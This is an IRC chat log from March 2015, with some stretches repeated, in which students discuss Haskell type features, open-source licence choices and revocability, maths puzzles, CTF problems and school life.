[2015-03-03T16:59:00-0500] <+awe> It depends on how you define simplicity then.
[2015-03-03T16:59:02-0500] <+awe> ernest: Yes.
[2015-03-03T16:59:10-0500] <+awe> ernest: If you don't want to repeat yourself, and you want things to work generically, yeah.
[2015-03-03T16:59:20-0500] <JacobEdelman_> ... you can abstract easily
[2015-03-03T16:59:24-0500] <JacobEdelman_> in interperted languages
[2015-03-03T16:59:33-0500] <+awe> Not in the same way.
[2015-03-03T16:59:36-0500] <+awe> There's no HKT in Python.
[2015-03-03T16:59:36-0500] <JacobEdelman_> using meta stuff
[2015-03-03T16:59:52-0500] <+awe> That's abstract but not generic. :p
[2015-03-03T17:00:06-0500] <JacobEdelman_> does HKT give you abilities not related to ensuring correctness?
[2015-03-03T17:00:38-0500] <+awe> HKT isn't really about correctness.
[2015-03-03T17:00:46-0500] <+awe> HKT is a feature of a type system that allows you to be more generic.
[2015-03-03T17:01:24-0500] <+awe> Since it's a part of a type system, it plays a role in ensuring correctness, but the motivation behind it is to write generic functions.
[2015-03-03T17:01:54-0500] <+awe> ernest: For the record, my website is currently generated by a Haskell program.
[2015-03-03T17:11:21-0500] <JacobEdelman_> an I do something with HKT that I can't do in python?
[2015-03-03T17:11:29-0500] <JacobEdelman_> *can
[2015-03-03T17:11:32-0500] <JacobEdelman_> *easily
[2015-03-03T17:14:44-0500] <+awe> Yeah.
[2015-03-03T17:14:45-0500] <+awe> Monads.
[2015-03-03T17:15:19-0500] <+awe> Functors.
[2015-03-03T17:15:20-0500] <+awe> etc.
[2015-03-03T17:39:51-0500] <JacobEdelman_> which let you do what?
[2015-03-03T17:40:03-0500] <JacobEdelman_> it always seemed to me
[2015-03-03T17:40:09-0500] <JacobEdelman_> like half the point of monads
[2015-03-03T17:40:13-0500] <JacobEdelman_> was to let you do IO
[2015-03-03T18:51:36-0500] <grantwu> Does anyone have any experience with using bcrypt to do password hashing
[2015-03-03T19:00:22-0500] <+awe> JacobEdelman_: lol no.
[2015-03-03T19:00:28-0500] <+awe> JacobEdelman: The IO Monad is just clever.
[2015-03-03T19:02:58-0500] <+awe> JacobEdelman_: https://stackoverflow.com/questions/28139259/why-do-we-need-monads
[2015-03-03T19:23:42-0500] <+awe> JacobEdelman_: you could implement IO without monads.
[2015-03-03T19:23:51-0500] <+awe> JacobEdelman_: the reason you use monads is because of abstraction.
[2015-03-03T19:51:17-0500] <JacobEdelman_> Woooooooo!
[2015-03-03T19:51:46-0500] <+awe> JacobEdelman_: ?
[2015-03-03T19:51:47-0500] <+alokpathy> ?
[2015-03-03T19:51:52-0500] <JacobEdelman_> its leftover woo
[2015-03-03T19:51:59-0500] <JacobEdelman_> from earlier
[2015-03-03T19:52:24-0500] <JacobEdelman_> :p
[2015-03-03T19:59:33-0500] <+awe> JacobEdelman_: what was it about though?
[2015-03-03T20:00:14-0500] <JacobEdelman_> from earlier? emails with prof. on paper
[2015-03-03T20:00:23-0500] <JacobEdelman_> paper I'm writing for indep. study
[2015-03-03T20:00:36-0500] <JacobEdelman_> that was mainly it
[2015-03-03T20:00:45-0500] <JacobEdelman_> also, HPMOR is awesome
[2015-03-03T20:00:52-0500] <JacobEdelman_> that probaly contributed to the woo
[2015-03-03T20:06:13-0500] Mode is +nt
[2015-03-03T20:16:12-0500] <+awe> JacobEdelman_: https://cdsmith.wordpress.com/2012/04/18/why-do-monads-matter/
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[2015-03-03T20:47:23-0500] <hardmath123> awe: I don't use 2-factor because I don't believe in phones.
[2015-03-03T20:47:30-0500] <+awe> Don't you have a phone?
[2015-03-03T20:47:52-0500] <hardmath123> I do, but I use it once a month to ask my mom to pick me up early or late from band practice.
[2015-03-03T20:49:25-0500] <Tamini> and to find me and alok!
[2015-03-03T20:50:57-0500] <+awe> hardmath123: Ah, right.
[2015-03-03T20:51:54-0500] <hardmath123> Tamini: Oh, yeah, that too.
[2015-03-03T20:57:46-0500] <Hyper> 26 hours until nth-prime submissions are due!
[2015-03-03T20:59:59-0500] <Hyper> er, 27
[2015-03-03T21:00:02-0500] <Hyper> I can't subtraction
[2015-03-03T21:00:41-0500] <+awe> I wonder if I'll actually make something to submit.
[2015-03-03T21:07:40-0500] <Tamini> I would, but I appear to have 70 lines of latin due tomorrow for some reason...?
[2015-03-03T21:09:56-0500] <JacobEdelman_> I have to make ben a birthday card
[2015-03-03T21:10:12-0500] <+alokpathy> IT'S BEN'S BIRTHDAY??
[2015-03-03T21:10:16-0500] <JacobEdelman_> in two days
[2015-03-03T21:10:22-0500] <JacobEdelman_> we are very big on birthday cards
[2015-03-03T21:10:26-0500] <JacobEdelman_> very comepttiive
[2015-03-03T21:10:26-0500] <+alokpathy> WOOOAAH
[2015-03-03T21:10:32-0500] <+alokpathy> I FINALLY FOUND OUT WHEN BEN'S BIRTHDAY IS
[2015-03-03T21:10:34-0500] <JacobEdelman_> I once made a 15 min long audio recording
[2015-03-03T21:10:44-0500] <+alokpathy> He was very secretive about it when I asked.
[2015-03-03T21:10:51-0500] <JacobEdelman_> thats cause he's the NSA
[2015-03-03T21:10:53-0500] <Tamini> in your card
[2015-03-03T21:11:02-0500] <Tamini> pass on a happy birthday message from me
[2015-03-03T21:11:14-0500] <JacobEdelman_> ... fine
[2015-03-03T21:11:22-0500] <JacobEdelman_> or you could jsut, you know type it on a word doc
[2015-03-03T21:11:27-0500] <JacobEdelman_> and than delete the doc
[2015-03-03T21:11:32-0500] <JacobEdelman_> he'll get the message
[2015-03-03T21:11:35-0500] <hardmath123> \documentclass{card}
[2015-03-03T21:11:44-0500] <JacobEdelman_> lol
[2015-03-03T21:12:00-0500] <JacobEdelman_> do you guys know when ben was first outed as being the NSA
[2015-03-03T21:12:40-0500] <JacobEdelman_> I'll give you a very subtle clue
[2015-03-03T21:12:43-0500] <JacobEdelman_> it was during hsctf
[2015-03-03T21:12:46-0500] <JacobEdelman_> on this page https://keybase.io/be
[2015-03-03T21:12:53-0500] <JacobEdelman_> the coordinate are too the NSA headquarter
[2015-03-03T21:12:58-0500] <JacobEdelman_> *headquarters
[2015-03-03T21:12:58-0500] <JacobEdelman_> wait
[2015-03-03T21:13:04-0500] <JacobEdelman_> that wasn't very subtle, was it?
[2015-03-03T21:14:13-0500] <JacobEdelman_> in other news
[2015-03-03T21:14:19-0500] <JacobEdelman_> ezra told me about this: http://www.dbad-license.org/
[2015-03-03T21:14:19-0500] <Tamini> omg 
[2015-03-03T21:14:23-0500] <Tamini> that recon is still onthere lol
[2015-03-03T21:14:27-0500] <JacobEdelman_> yup
[2015-03-03T21:14:32-0500] <JacobEdelman_> also, use http://www.dbad-license.org/ on all future projects
[2015-03-03T21:14:56-0500] <Tamini> heh
[2015-03-03T21:14:58-0500] <hardmath123> JacobEdelman_: idk what happened, but we got like 8 github stars in the past few hours.
[2015-03-03T21:15:01-0500] <hardmath123> on nearley.
[2015-03-03T21:15:07-0500] <JacobEdelman_> cool
[2015-03-03T21:15:17-0500] <hardmath123> someone must have posted on a social thingamabobble.
[2015-03-03T21:15:36-0500] <JacobEdelman_> ... can you license it with http://www.dbad-license.org/ ?
[2015-03-03T21:22:46-0500] <jwoglom> JacobEdelman_: that reminds me of the WTFPL
[2015-03-03T21:23:44-0500] <grantwu> blargh those licenses are as good as proprietary
[2015-03-03T21:43:59-0500] <JacobEdelman_> Why?
[2015-03-03T21:48:13-0500] <grantwu> Because you have no idea how they'll behave in court
[2015-03-03T21:51:04-0500] <+awe> Yah.
[2015-03-03T21:51:08-0500] <+awe> Don't use licenses like that.
[2015-03-03T21:51:17-0500] <+awe> I dropped the Unlicense because it's not court tested.
[2015-03-03T21:51:19-0500] <+awe> I switched to CC0.
[2015-03-03T21:59:37-0500] <grantwu> You could just use BSD
[2015-03-03T21:59:41-0500] <grantwu> Or ISC
[2015-03-03T22:00:48-0500] <grantwu> hrm although apparently cc0 works
[2015-03-03T22:26:35-0500] <ubuntor> tfw exploit only runs in gdb
[2015-03-03T22:30:46-0500] <+awe> grantwu: No, Ican't use BSD or ISC.
[2015-03-03T22:30:54-0500] <+awe> grantwu: Neither of those licenses do what I want.
[2015-03-03T22:30:58-0500] <grantwu> eh I guess
[2015-03-03T22:31:52-0500] <+awe> ISC/BSD/MIT can all be revoked.
[2015-03-03T22:31:58-0500] <+awe> I can later decide "Eh, I want to relicense as AGPL."
[2015-03-03T22:32:24-0500] <grantwu> I don't believe you can do that retroactively
[2015-03-03T22:32:36-0500] <+awe> You can.
[2015-03-03T22:32:39-0500] <+awe> You retain licensing rights.
[2015-03-03T22:34:16-0500] <grantwu> https://news.ycombinator.com/item?id=7614721
[2015-03-03T22:35:12-0500] <grantwu> or http://stackoverflow.com/questions/5419923/can-gpl-be-re-licensed
[2015-03-03T22:35:32-0500] <+awe> Yes, you can't retroactively relicense old code.
[2015-03-03T22:35:35-0500] <+awe> But I can change the license.
[2015-03-03T22:35:51-0500] <grantwu> Well yes
[2015-03-03T22:35:55-0500] <+awe> Someone can be forced to develop a dependence on my permissive code and then suddenly have to continue using it when I change it to stricter requirements.
[2015-03-03T22:36:04-0500] <+awe> And their choice is either to fork, never update, or GTFO.
[2015-03-03T22:36:11-0500] <grantwu> I guess... in practice that rarely happens, methinks
[2015-03-03T22:36:43-0500] <+awe> Also, read comments.
[2015-03-03T22:36:47-0500] <+awe> They indicate that you CAN revoke.
[2015-03-03T22:37:06-0500] <grantwu> which one?
[2015-03-03T22:37:26-0500] <+awe> The YCombinator one.
[2015-03-03T22:37:56-0500] <grantwu> eh the second person disagrees.
[2015-03-03T22:38:07-0500] <+awe> But is wrong.
[2015-03-03T22:38:19-0500] <+awe> Well, I don't know about with the GPL.
[2015-03-03T22:38:33-0500] <+awe> The GPL specifies that the license is forever and irrevocable, I think.
[2015-03-03T22:38:41-0500] <+awe> Permissive licenses don't.
[2015-03-03T22:39:07-0500] <grantwu> http://programmers.stackexchange.com/questions/209036/does-an-open-source-license-exist-that-allows-me-to-retain-rights-to-revoke-usag
[2015-03-03T22:39:23-0500] <grantwu> eh
[2015-03-03T22:39:39-0500] <grantwu> http://www.ilaw.com.au/public/licencearticle.html says anything can be revoked hrm
[2015-03-03T22:39:40-0500] <bob_twinkles> nobody would use anything licensed that way though
[2015-03-03T22:39:57-0500] <+awe> grantwu: except public domain dedications which can't be revoked. :)
[2015-03-03T22:40:19-0500] <grantwu> But that doesn't cover future works.
[2015-03-03T22:40:24-0500] <+awe> No, it doesn't.
[2015-03-03T22:40:28-0500] <+awe> But it can't be revoked.
[2015-03-03T22:40:40-0500] <+awe> I can never say that the work that I've done already is not yours to access.
[2015-03-03T22:40:42-0500] <+awe> Which is good enough for me.
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[2015-03-03T23:14:49-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-03T21:15:36-0500] <JacobEdelman_> ... can you license it with http://www.dbad-license.org/ ?
[2015-03-03T21:22:46-0500] <jwoglom> JacobEdelman_: that reminds me of the WTFPL
[2015-03-03T21:23:44-0500] <grantwu> blargh those licenses are as good as proprietary
[2015-03-03T21:43:59-0500] <JacobEdelman_> Why?
[2015-03-03T21:48:13-0500] <grantwu> Because you have no idea how they'll behave in court
[2015-03-03T21:51:05-0500] <+awe> Yah.
[2015-03-03T21:51:08-0500] <+awe> Don't use licenses like that.
[2015-03-03T21:51:17-0500] <+awe> I dropped the Unlicense because it's not court tested.
[2015-03-03T21:51:19-0500] <+awe> I switched to CC0.
[2015-03-03T21:59:37-0500] <grantwu> You could just use BSD
[2015-03-03T21:59:40-0500] <grantwu> Or ISC
[2015-03-03T22:00:48-0500] <grantwu> hrm although apparently cc0 works
[2015-03-03T22:26:35-0500] <ubuntor> tfw exploit only runs in gdb
[2015-03-03T22:30:47-0500] <+awe> grantwu: No, Ican't use BSD or ISC.
[2015-03-03T22:30:54-0500] <+awe> grantwu: Neither of those licenses do what I want.
[2015-03-03T22:30:58-0500] <grantwu> eh I guess
[2015-03-03T22:31:52-0500] <+awe> ISC/BSD/MIT can all be revoked.
[2015-03-03T22:31:58-0500] <+awe> I can later decide "Eh, I want to relicense as AGPL."
[2015-03-03T22:32:23-0500] <grantwu> I don't believe you can do that retroactively
[2015-03-03T22:32:36-0500] <+awe> You can.
[2015-03-03T22:32:39-0500] <+awe> You retain licensing rights.
[2015-03-03T22:34:16-0500] <grantwu> https://news.ycombinator.com/item?id=7614721
[2015-03-03T22:35:12-0500] <grantwu> or http://stackoverflow.com/questions/5419923/can-gpl-be-re-licensed
[2015-03-03T22:35:32-0500] <+awe> Yes, you can't retroactively relicense old code.
[2015-03-03T22:35:35-0500] <+awe> But I can change the license.
[2015-03-03T22:35:51-0500] <grantwu> Well yes
[2015-03-03T22:35:57-0500] <+awe> Someone can be forced to develop a dependence on my permissive code and then suddenly have to continue using it when I change it to stricter requirements.
[2015-03-03T22:36:04-0500] <+awe> And their choice is either to fork, never update, or GTFO.
[2015-03-03T22:36:11-0500] <grantwu> I guess... in practice that rarely happens, methinks
[2015-03-03T22:36:43-0500] <+awe> Also, read comments.
[2015-03-03T22:36:47-0500] <+awe> They indicate that you CAN revoke.
[2015-03-03T22:37:07-0500] <grantwu> which one?
[2015-03-03T22:37:26-0500] <+awe> The YCombinator one.
[2015-03-03T22:37:56-0500] <grantwu> eh the second person disagrees.
[2015-03-03T22:38:07-0500] <+awe> But is wrong.
[2015-03-03T22:38:19-0500] <+awe> Well, I don't know about with the GPL.
[2015-03-03T22:38:33-0500] <+awe> The GPL specifies that the license is forever and irrevocable, I think.
[2015-03-03T22:38:41-0500] <+awe> Permissive licenses don't.
[2015-03-03T22:39:07-0500] <grantwu> http://programmers.stackexchange.com/questions/209036/does-an-open-source-license-exist-that-allows-me-to-retain-rights-to-revoke-usag
[2015-03-03T22:39:23-0500] <grantwu> eh
[2015-03-03T22:39:39-0500] <grantwu> http://www.ilaw.com.au/public/licencearticle.html says anything can be revoked hrm
[2015-03-03T22:39:40-0500] <bob_twinkles> nobody would use anything licensed that way though
[2015-03-03T22:39:58-0500] <+awe> grantwu: except public domain dedications which can't be revoked. :)
[2015-03-03T22:40:19-0500] <grantwu> But that doesn't cover future works.
[2015-03-03T22:40:24-0500] <+awe> No, it doesn't.
[2015-03-03T22:40:28-0500] <+awe> But it can't be revoked.
[2015-03-03T22:40:40-0500] <+awe> I can never say that the work that I've done already is not yours to access.
[2015-03-03T22:40:44-0500] <+awe> Which is good enough for me.
[2015-03-03T22:45:03-0500] <grantwu> http://www.openbsd.org/policy.html says no revoke
[2015-03-03T22:49:15-0500] <bob_twinkles> "when doom was announced, nvidia nearly went out of business... because every engineer we hired was playing doom for the next 9 months"
[2015-03-03T23:14:50-0500] Mode is +nt
[2015-03-03T23:16:54-0500] <+awe> grantwu: I don't think it's had a lot of court trial.
[2015-03-03T23:17:04-0500] <+awe> grantwu: I'd tend towards saying that licenses, like contracts, can be revoked.
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[2015-03-03T21:23:44-0500] <grantwu> blargh those licenses are as good as proprietary
[2015-03-03T21:43:59-0500] <JacobEdelman_> Why?
[2015-03-03T21:48:13-0500] <grantwu> Because you have no idea how they'll behave in court
[2015-03-03T21:51:05-0500] <+awe> Yah.
[2015-03-03T21:51:08-0500] <+awe> Don't use licenses like that.
[2015-03-03T21:51:17-0500] <+awe> I dropped the Unlicense because it's not court tested.
[2015-03-03T21:51:19-0500] <+awe> I switched to CC0.
[2015-03-03T21:59:37-0500] <grantwu> You could just use BSD
[2015-03-03T21:59:40-0500] <grantwu> Or ISC
[2015-03-03T22:00:48-0500] <grantwu> hrm although apparently cc0 works
[2015-03-03T22:26:35-0500] <ubuntor> tfw exploit only runs in gdb
[2015-03-03T22:30:47-0500] <+awe> grantwu: No, Ican't use BSD or ISC.
[2015-03-03T22:30:54-0500] <+awe> grantwu: Neither of those licenses do what I want.
[2015-03-03T22:30:58-0500] <grantwu> eh I guess
[2015-03-03T22:31:52-0500] <+awe> ISC/BSD/MIT can all be revoked.
[2015-03-03T22:31:58-0500] <+awe> I can later decide "Eh, I want to relicense as AGPL."
[2015-03-03T22:32:23-0500] <grantwu> I don't believe you can do that retroactively
[2015-03-03T22:32:36-0500] <+awe> You can.
[2015-03-03T22:32:39-0500] <+awe> You retain licensing rights.
[2015-03-03T22:34:16-0500] <grantwu> https://news.ycombinator.com/item?id=7614721
[2015-03-03T22:35:12-0500] <grantwu> or http://stackoverflow.com/questions/5419923/can-gpl-be-re-licensed
[2015-03-03T22:35:32-0500] <+awe> Yes, you can't retroactively relicense old code.
[2015-03-03T22:35:35-0500] <+awe> But I can change the license.
[2015-03-03T22:35:51-0500] <grantwu> Well yes
[2015-03-03T22:35:57-0500] <+awe> Someone can be forced to develop a dependence on my permissive code and then suddenly have to continue using it when I change it to stricter requirements.
[2015-03-03T22:36:04-0500] <+awe> And their choice is either to fork, never update, or GTFO.
[2015-03-03T22:36:11-0500] <grantwu> I guess... in practice that rarely happens, methinks
[2015-03-03T22:36:43-0500] <+awe> Also, read comments.
[2015-03-03T22:36:47-0500] <+awe> They indicate that you CAN revoke.
[2015-03-03T22:37:07-0500] <grantwu> which one?
[2015-03-03T22:37:26-0500] <+awe> The YCombinator one.
[2015-03-03T22:37:56-0500] <grantwu> eh the second person disagrees.
[2015-03-03T22:38:07-0500] <+awe> But is wrong.
[2015-03-03T22:38:19-0500] <+awe> Well, I don't know about with the GPL.
[2015-03-03T22:38:33-0500] <+awe> The GPL specifies that the license is forever and irrevocable, I think.
[2015-03-03T22:38:41-0500] <+awe> Permissive licenses don't.
[2015-03-03T22:39:07-0500] <grantwu> http://programmers.stackexchange.com/questions/209036/does-an-open-source-license-exist-that-allows-me-to-retain-rights-to-revoke-usag
[2015-03-03T22:39:23-0500] <grantwu> eh
[2015-03-03T22:39:39-0500] <grantwu> http://www.ilaw.com.au/public/licencearticle.html says anything can be revoked hrm
[2015-03-03T22:39:40-0500] <bob_twinkles> nobody would use anything licensed that way though
[2015-03-03T22:39:58-0500] <+awe> grantwu: except public domain dedications which can't be revoked. :)
[2015-03-03T22:40:19-0500] <grantwu> But that doesn't cover future works.
[2015-03-03T22:40:24-0500] <+awe> No, it doesn't.
[2015-03-03T22:40:28-0500] <+awe> But it can't be revoked.
[2015-03-03T22:40:40-0500] <+awe> I can never say that the work that I've done already is not yours to access.
[2015-03-03T22:40:44-0500] <+awe> Which is good enough for me.
[2015-03-03T22:45:03-0500] <grantwu> http://www.openbsd.org/policy.html says no revoke
[2015-03-03T22:49:15-0500] <bob_twinkles> "when doom was announced, nvidia nearly went out of business... because every engineer we hired was playing doom for the next 9 months"
[2015-03-03T23:16:54-0500] <+awe> grantwu: I don't think it's had a lot of court trial.
[2015-03-03T23:17:04-0500] <+awe> grantwu: I'd tend towards saying that licenses, like contracts, can be revoked.
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[2015-03-03T23:42:15-0500] <+alokpathy> ernest: Ernest :D
[2015-03-03T23:42:28-0500] <ernest> Hi
[2015-03-03T23:43:21-0500] <+awe> hi ernest
[2015-03-03T23:46:43-0500] <Tamini> ernest!
[2015-03-03T23:46:59-0500] <ernest> Hi guys
[2015-03-03T23:47:12-0500] <Tamini> ernest, teach me how to math
[2015-03-03T23:47:17-0500] <Tamini> or teach me how to linguistics
[2015-03-03T23:47:18-0500] <Tamini> D:
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[2015-03-03T23:56:51-0500] <+awe> http://marx-madness.com/ lol
[2015-03-04T00:05:48-0500] <ubuntor> "egalitarian eight"
[2015-03-04T00:05:50-0500] <ubuntor> this is great
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[2015-03-04T00:21:06-0500] <ernest> math: find the integral from 0 to 1/2 of arcsinh(x)/x
[2015-03-04T00:24:42-0500] <ernest> Hint1: the answer is in terms of pi
[2015-03-04T00:25:00-0500] <Tamini> wait darn
[2015-03-04T00:25:05-0500] <Tamini> hyperbolic trig functions make me sad
[2015-03-04T00:26:18-0500] <ernest> Arcsinh = ln( sqrt(1+x^2) +x )
[2015-03-04T00:26:52-0500] <ernest> So it's not that scary :p
[2015-03-04T00:27:00-0500] <Tamini> well
[2015-03-04T00:27:13-0500] <Tamini> i've been spending the past few weeks wrestling relativity
[2015-03-04T00:27:22-0500] <Tamini> so whenever i see sinh/cosh i die on the inside
[2015-03-04T00:27:29-0500] <ernest> Oh
[2015-03-04T00:27:33-0500] <ernest> My condolences
[2015-03-04T00:28:44-0500] <Tamini> wait, are you sure that's right?
[2015-03-04T00:28:56-0500] <Tamini> my taylor and my mathematica just disagreed with each other...>_>
[2015-03-04T00:31:35-0500] <ernest> ?
[2015-03-04T00:32:25-0500] <Tamini> oh wait
[2015-03-04T00:32:28-0500] <Tamini> nvm i screwed up
[2015-03-04T00:32:31-0500] <Tamini> addition is hard
[2015-03-04T00:37:44-0500] <ernest> Related (?) problem
[2015-03-04T00:38:05-0500] <ernest> The sum from 1 to infinity of cos(n)/n^2
[2015-03-04T00:40:25-0500] <grantwu> I have a linguistics midterm tomorrow .-.
[2015-03-04T00:40:31-0500] <Tamini> grantwu: good luck!
[2015-03-04T00:40:36-0500] <Tamini> heh, I've been cramming linguistics
[2015-03-04T00:40:37-0500] <grantwu> Also I volunteered to write secure code today ._.
[2015-03-04T00:40:39-0500] <Tamini> hw does one even study for that?
[2015-03-04T00:40:41-0500] <Tamini> and ooh
[2015-03-04T00:40:47-0500] <Tamini> for what?
[2015-03-04T00:40:49-0500] <grantwu> Uh.. studying definitions
[2015-03-04T00:40:56-0500] <grantwu> CMU Computer Club uh...
[2015-03-04T00:41:03-0500] <grantwu> ...has had the same root password on all its machines for...
[2015-03-04T00:41:10-0500] <grantwu> ...an unspecified amount of time.  Years.
[2015-03-04T00:41:42-0500] <grantwu> I volunteered to write a password changing script
[2015-03-04T00:42:53-0500] <Tamini> ,,,,
[2015-03-04T00:43:05-0500] <Tamini> that sounds like it might be a sliiiight security flaw maybe
[2015-03-04T00:43:10-0500] <Tamini> i dunno
[2015-03-04T00:43:21-0500] <Tamini> i really can't think of a way to really study linguistics other than just doing problems
[2015-03-04T00:43:24-0500] <Tamini> over and over and over and over
[2015-03-04T00:53:40-0500] <grantwu> I guess... meh
[2015-03-04T00:53:48-0500] <grantwu> Memorizing IPA is hard..
[2015-03-04T00:55:15-0500] <Tamini> heh, yeah
[2015-03-04T00:55:19-0500] <Tamini> it's really interesting though
[2015-03-04T00:55:23-0500] <Tamini> language itself is fascinating
[2015-03-04T00:55:54-0500] <ernest> For posterity, the solutions to the problems before involve rot13( Qvybtnevguzf )
[2015-03-04T00:56:12-0500] <ernest> Good night
[2015-03-04T00:56:23-0500] <Tamini> ernest: wait i do that in class
[2015-03-04T00:56:25-0500] <Tamini> in three weeks
[2015-03-04T00:56:28-0500] <Tamini> ask me again then :P
[2015-03-04T00:56:30-0500] <Tamini> and good night!
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[2015-03-04T06:32:03-0500] <JacobEdelman_> I have rearrived
[2015-03-04T06:50:01-0500] <JacobEdelman_> DUCK!
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[2015-03-04T13:38:11-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-04T00:21:06-0500] <ernest> math: find the integral from 0 to 1/2 of arcsinh(x)/x
[2015-03-04T00:24:42-0500] <ernest> Hint1: the answer is in terms of pi
[2015-03-04T00:25:00-0500] <Tamini> wait darn
[2015-03-04T00:25:05-0500] <Tamini> hyperbolic trig functions make me sad
[2015-03-04T00:26:18-0500] <ernest> Arcsinh = ln( sqrt(1+x^2) +x )
[2015-03-04T00:26:52-0500] <ernest> So it's not that scary :p
[2015-03-04T00:27:00-0500] <Tamini> well
[2015-03-04T00:27:13-0500] <Tamini> i've been spending the past few weeks wrestling relativity
[2015-03-04T00:27:22-0500] <Tamini> so whenever i see sinh/cosh i die on the inside
[2015-03-04T00:27:29-0500] <ernest> Oh
[2015-03-04T00:27:33-0500] <ernest> My condolences
[2015-03-04T00:28:44-0500] <Tamini> wait, are you sure that's right?
[2015-03-04T00:28:56-0500] <Tamini> my taylor and my mathematica just disagreed with each other...>_>
[2015-03-04T00:31:34-0500] <ernest> ?
[2015-03-04T00:32:25-0500] <Tamini> oh wait
[2015-03-04T00:32:28-0500] <Tamini> nvm i screwed up
[2015-03-04T00:32:30-0500] <Tamini> addition is hard
[2015-03-04T00:37:44-0500] <ernest> Related (?) problem
[2015-03-04T00:38:05-0500] <ernest> The sum from 1 to infinity of cos(n)/n^2
[2015-03-04T00:40:25-0500] <grantwu> I have a linguistics midterm tomorrow .-.
[2015-03-04T00:40:30-0500] <Tamini> grantwu: good luck!
[2015-03-04T00:40:36-0500] <Tamini> heh, I've been cramming linguistics
[2015-03-04T00:40:37-0500] <grantwu> Also I volunteered to write secure code today ._.
[2015-03-04T00:40:39-0500] <Tamini> hw does one even study for that?
[2015-03-04T00:40:41-0500] <Tamini> and ooh
[2015-03-04T00:40:47-0500] <Tamini> for what?
[2015-03-04T00:40:49-0500] <grantwu> Uh.. studying definitions
[2015-03-04T00:40:56-0500] <grantwu> CMU Computer Club uh...
[2015-03-04T00:41:03-0500] <grantwu> ...has had the same root password on all its machines for...
[2015-03-04T00:41:10-0500] <grantwu> ...an unspecified amount of time.  Years.
[2015-03-04T00:41:41-0500] <grantwu> I volunteered to write a password changing script
[2015-03-04T00:42:53-0500] <Tamini> ,,,,
[2015-03-04T00:43:05-0500] <Tamini> that sounds like it might be a sliiiight security flaw maybe
[2015-03-04T00:43:10-0500] <Tamini> i dunno
[2015-03-04T00:43:21-0500] <Tamini> i really can't think of a way to really study linguistics other than just doing problems
[2015-03-04T00:43:24-0500] <Tamini> over and over and over and over
[2015-03-04T00:53:40-0500] <grantwu> I guess... meh
[2015-03-04T00:53:48-0500] <grantwu> Memorizing IPA is hard..
[2015-03-04T00:55:15-0500] <Tamini> heh, yeah
[2015-03-04T00:55:18-0500] <Tamini> it's really interesting though
[2015-03-04T00:55:23-0500] <Tamini> language itself is fascinating
[2015-03-04T00:55:54-0500] <ernest> For posterity, the solutions to the problems before involve rot13( Qvybtnevguzf )
[2015-03-04T00:56:12-0500] <ernest> Good night
[2015-03-04T00:56:22-0500] <Tamini> ernest: wait i do that in class
[2015-03-04T00:56:25-0500] <Tamini> in three weeks
[2015-03-04T00:56:27-0500] <Tamini> ask me again then :P
[2015-03-04T00:56:30-0500] <Tamini> and good night!
[2015-03-04T06:32:03-0500] <JacobEdelman_> I have rearrived
[2015-03-04T06:50:01-0500] <JacobEdelman_> DUCK!
[2015-03-04T10:55:36-0500] <LittleBobbyTables> awe, can I steal your RE's for my works CTF
[2015-03-04T13:38:12-0500] Mode is +nt
[2015-03-04T13:38:48-0500] <+awe> LittleBobbyTables: my REs?
[2015-03-04T13:38:57-0500] <+awe> LittleBobbyTables: as in the lambda problems?
[2015-03-04T13:39:10-0500] <+awe> Sure.
[2015-03-04T13:41:34-0500] <JacobEdelman_> warning: random rant starting
[2015-03-04T13:41:46-0500] <JacobEdelman_> I like the idea on less wrong
[2015-03-04T13:41:46-0500] <JacobEdelman_> that when people notice a complexity in an issue (such as the fact that modern civilization is not entirely good due to pollution, increased population, and such)
[2015-03-04T13:41:46-0500] <JacobEdelman_> some will carry that to an extreme (modern civilization must be substantially changed and is headed towards collapse), dismissing arguments against what they see as simplistic, and the inability to see the complexity in the issue
[2015-03-04T13:41:46-0500] <JacobEdelman_> it helps to explain all the people who bring up complaints with modern technology and than proceed to condemn advances as bad and damaging
[2015-03-04T13:41:46-0500] <JacobEdelman_> because the idea that we can develop any technology without worry is naive, so people who go ahead with developing a new technology despite your complaints must be naive and ignoring the consequences (instead of having a balanced and rational viewpoint)
[2015-03-04T13:42:21-0500] <JacobEdelman_> inspiration: http://lesswrong.com/lw/2pv/intellectual_hipsters_and_metacontrarianism/
[2015-03-04T13:43:34-0500] <JacobEdelman_> random rant complete
[2015-03-04T13:44:06-0500] <+awe> I don't rreally understand what you're saying.
[2015-03-04T13:44:54-0500] <JacobEdelman_> read the link
[2015-03-04T13:44:57-0500] <JacobEdelman_> it should explain
[2015-03-04T13:45:01-0500] <+awe> I am reading.
[2015-03-04T13:45:07-0500] <JacobEdelman_> better than I can
[2015-03-04T13:45:34-0500] <+awe> I countersignal about politics.
[2015-03-04T13:46:23-0500] <JacobEdelman_> ?
[2015-03-04T13:46:31-0500] <JacobEdelman_> gtg
[2015-03-04T13:47:18-0500] <+awe> It's probably not that legitimate of an example, but it came up almost immediately in my mind.
[2015-03-04T13:47:32-0500] <Hyper> 10 hours until nth primes are due.
[2015-03-04T13:47:34-0500] <Hyper> submit dat shit
[2015-03-04T13:48:32-0500] <+awe> The average American "progressive" differentiates themselves from conservatives by correcting people for using "potentially offensive terminology" and I differentiate myself from them by not doing that.
[2015-03-04T13:49:18-0500] <+awe> Hyper: I'm not going to have time to submit anything.
[2015-03-04T13:49:27-0500] <+awe> I'm going to be busy today with work.
[2015-03-04T13:50:11-0500] <+awe> "If politics, philosophy, and religion are really about signaling, we should expect to find countersignaling there as well."
[2015-03-04T13:50:14-0500] <+awe> Heh, they even mention that.
[2015-03-04T13:51:11-0500] <Hyper> awe: I am disappoint
[2015-03-04T13:51:26-0500] <+awe> I'm sorry!
[2015-03-04T13:51:31-0500] <Hyper> ಠ_ಠ
[2015-03-04T13:51:32-0500] <+awe> JacobEdelman_: took so long to give me example.
[2015-03-04T13:51:38-0500] <+awe> And then business.
[2015-03-04T13:51:41-0500] <+awe> busyness*
[2015-03-04T13:51:41-0500] <JacobEdelman_> I counter signal about programming languages
[2015-03-04T13:51:43-0500] <Hyper> awe: don't blame others ಠ_ಠ
[2015-03-04T13:52:07-0500] <JacobEdelman_> #hipstersanonymous
[2015-03-04T13:52:37-0500] <+awe> JacobEdelman_: in what way do you counter-signal about programming languages?
[2015-03-04T13:52:41-0500] <+awe> JacobEdelman_: you're as mainstream as it gets.
[2015-03-04T13:52:49-0500] <+awe> JacobEdelman_: your primary programming languages are python and javascript.
[2015-03-04T13:53:21-0500] <+awe> *I* do it because I have to ensure that people know I'm a systems programmer and then also differentiate myself from nublets who use C/C++.
